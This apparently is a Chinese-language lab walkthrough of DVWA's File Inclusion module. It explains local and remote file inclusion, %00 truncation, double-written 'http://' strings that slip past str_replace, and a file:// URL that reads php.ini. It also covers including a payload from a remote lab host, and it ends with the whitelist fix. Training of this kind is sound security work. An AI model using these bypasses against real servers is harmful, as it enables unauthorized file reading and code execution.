File Inclusion(文件包含)

File Inclusion,意思是文件包含(漏洞),是指當服務器開啓allow_url_include選項時,就能夠經過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時若是沒有對文件來源進行嚴格審查,就會致使任意文件讀取或者任意命令執行。
文件包含漏洞分爲本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是由於開啓了php配置中的allow_url_fopen選項(選項開啓以後,服務器容許包含一個遠程的文件)。
文件包含時,無論包含的文件是什麼類型,都會優先嚐試看成php文件執行,若是文件內容有php代碼,則會執行php代碼並返回代碼執行的結果,若是文件內容沒有php代碼,則把文件內容打印出來
Low
漏洞利用
1.本地文件包含
報錯,顯示沒有這個文件,說明不是服務器系統不是Linux,但同時暴露了服務器文件的絕對路徑爲E:\phpStudy2019_64\phpstudy_pro\WWW
構造url(絕對路徑):
成功讀取了服務器的php.ini文件
構造url(相對路徑);
加這麼多..\是爲了保證到達服務器的C盤根目錄,能夠看到讀取是成功的。(我這裏相對路徑不在同一盤符,只能用絕對路徑)
同時咱們看到,配置文件中的Magic_quote_gpc選項爲off。在php版本小於5.3.4的服務器中,當Magic_quote_gpc選項爲off時,咱們能夠在文件名中使用%00進行截斷,也就是說文件名中%00後的內容不會被識別,即下面兩個url是徹底等效的。
使用%00截斷能夠繞過某些過濾規則,例如要求page參數的後綴必須爲php,這時連接A會讀取失敗,而連接B能夠繞過規則成功讀取。
 
 
2.遠程文件包含
當服務器的php配置中,選項allow_url_fopen與allow_url_include爲開啓狀態時,服務器會容許包含遠程服務器上的文件,若是對文件來源沒有檢查的話,就容易致使任意遠程代碼執行。
在遠程服務器192.168.0.104上傳一個testphpinfo.txt文件,內容以下
爲了增長隱蔽性,能夠對 http://192.168.0.104/testphpinfo.txt進行編碼
 
Medium
能夠看到,Medium級別的代碼增長了str_replace函數,對page參數進行了必定的處理,將」http:// 」、」https://」、 」 ../」、」..\」替換爲空字符,即刪除。
漏洞利用
使用str_replace函數是極其不安全的,由於可使用雙寫繞過替換規則。
例如page= hthttp://tp://192.168.0.104/phpinfo.txt時,str_replace函數會將http://刪除,因而page= http://192.168.0.101/phpinfo.txt,成功執行遠程命令。
同時,由於替換的只是「../」、「..\」,因此對採用絕對路徑的方式包含文件是不會受到任何限制的。
1.本地文件包含
讀取配置文件成功
 
絕對路徑不受任何影響,讀取成功
 
2.遠程文件包含
遠程執行命令成功
 
通過編碼後的url不能繞過替換規則,由於解碼是在瀏覽器端完成的,發送過去的page參數依然是 http://192.168.5.12/phpinfo.txt,所以讀取失敗。
 
High
能夠看到,High級別的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,服務器纔會去包含相應的文件。
漏洞利用
High級別的代碼規定只能包含file開頭的文件,看似安全,不幸的是咱們依然能夠利用file協議繞過防禦策略。file協議其實咱們並不陌生,當咱們用瀏覽器打開一個本地文件時,用的就是file協議,以下圖。
http://192.168.0.104/dvwa/vulnerabilities/fi/?page=file:///E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA\php.ini
 
至於執行任意命令,須要配合文件上傳漏洞利用。首先須要上傳一個內容爲php的文件,而後再利用file協議去包含上傳文件(須要知道上傳文件的絕對路徑),從而實現任意命令執行。
 
Impossible
能夠看到,Impossible級別的代碼使用了白名單機制進行防禦,簡單粗暴,page參數必須爲「include.php」、「file1.php」、「file2.php」、「file3.php」之一,完全杜絕了文件包含漏洞。
相關文章
相關標籤/搜索